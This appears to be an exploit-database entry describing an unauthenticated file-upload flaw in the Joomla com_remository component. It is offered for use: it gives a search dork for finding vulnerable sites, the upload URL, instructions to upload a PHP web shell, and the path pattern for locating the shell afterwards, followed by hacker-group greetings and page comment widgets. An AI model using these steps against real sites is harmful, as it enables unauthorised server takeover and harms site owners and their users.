Joomla com_remository Remote Upload File

2017.01.03

K33P-S1L3NT (ID)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: inurl:"index.php?com_remository"

################# E X P L O I T ###################
http://www.Target.com/index.php?option=com_remository&Itemid=[Itemid]&func=addfile
Add your php file , example : shell.php
http://www.Target.com/components/com_remository_files/ <= Directory Folder
If web server alowe to see directory you can see folder example : file_image_1
You can find your shell in lates file_image_[latest Number]
Example URL : http://www.example.com/components/com_remository_files/file_image_1/12761347shell.php
Grets : Overload Team | Admiral | i.am_geek | MR.LEGEND | 1!0N7!N | s1pUT | zbyte | Badaki | Indonesia People

References:

https://www.facebook.com/loading.gov

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Joomla com_remository Remote Upload File

Dork: inurl:"index.php?com_remository"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.